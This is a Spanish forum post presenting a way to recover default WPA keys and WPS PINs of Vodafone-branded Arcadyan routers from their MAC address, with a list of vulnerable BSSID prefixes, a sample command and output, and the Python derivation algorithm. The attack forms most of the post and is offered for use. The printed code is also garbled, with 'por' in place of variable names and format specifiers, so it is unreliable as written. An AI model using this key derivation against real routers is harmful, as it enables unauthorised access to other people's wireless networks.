Hola a todos,  VodafoneXXXX (router Arcadyan 100% vulnerables)
Os dejo aquí un pequeño manual para probar la vulnerabilidad de los routers arcadyan de VodafoneXXXX.
Hay un programa hecho por un forero DUDUX en python que calcule la contraseña que viene por defecto en el router a partir de su MAC, así que si tuviera este modelo me cambiaría la contraseña cuanto antes.
Se puede descargar el programa del siguiente link:
# git clone Lo sentimos pero no se le permite ver el contenido Registrate.
 #
La lista de MACs vulnerable es la siguiente:
     bssid: 74:31:70:xx:xx:xx    essid: VodafoneXXXX
     bssid: 84:9C:A6:xx:xx:xx    essid: VodafoneXXXX
     bssid: 88:03:55:xx:xx:xx    essid: VodafoneXXXX
     bssid: 1C:C6:3C:xx:xx:xx    essid: VodafoneXXXX
     bssid: 50:7E:5D:xx:xx:xx    essid: VodafoneXXXX
     bssid: 00:12:BF:xx:xx:xx    essid: VodafoneXXXX
Os pongo un ejemplo de como funciona el programa (Se lanza desde un terminal de linux accediendo a la carpeta del programa):
$ python vodafoneArcadyanSpain.py -b 74:31:70:33:00:11
-  SSID       : VodafoneGG11
-  BSSID      : 74:31:70:33:00:11
-  WPA KEY    : 58639129A
-  WPS PIN    : 75944988
Os dejo el algoritmo de calculo por si alguien le interesa verlo:
def algorithm(mac):
    '''Sebastian Petters. Changes: Added exceptions and leave out some variables pointless'''
    try:
        bytes = [int(por, 16) for por in mac.split(':')]
        c1 = (bytes[-2] << 8) + bytes[-1]
        (s6, s7, s8, s9, s10) = [int(por) for por in '%05d' % (c1)]
        (m9, m10, m11, m12)   = [int(por, 16) for por in mac.replace(':', '')[8:]]
    except:
        sys.stderr.write("[!] Check your bssid!  Format XX:XX:XX:XX:XX:XX\n")
        sys.exit()
 
    k1 = ( s7 + s8  + m11 + m12) & (0x0F)
    k2 = ( m9 + m10 + s9  + s10) & (0x0F)       
    x1 = k1  ^ s10
    x2 = k1  ^ s9
    x3 = k1  ^ s8
    y1 = k2  ^ m10
    y2 = k2  ^ m11
    y3 = k2  ^ m12
    z1 = m11 ^ s10
    z2 = m12 ^ s9
    z3 = k1  ^ k2
 
    wpa = "%por%por%por%por%por%por%por%por%por" % (x1, y1, z1, x2, y2, z2, x3, y3, z3) 
 
    # Spanish modification in this algorithm
    if wpa.find("0") != -1:
        wpa = wpa.replace("0","1")
 
    return wpa
Un Saludo.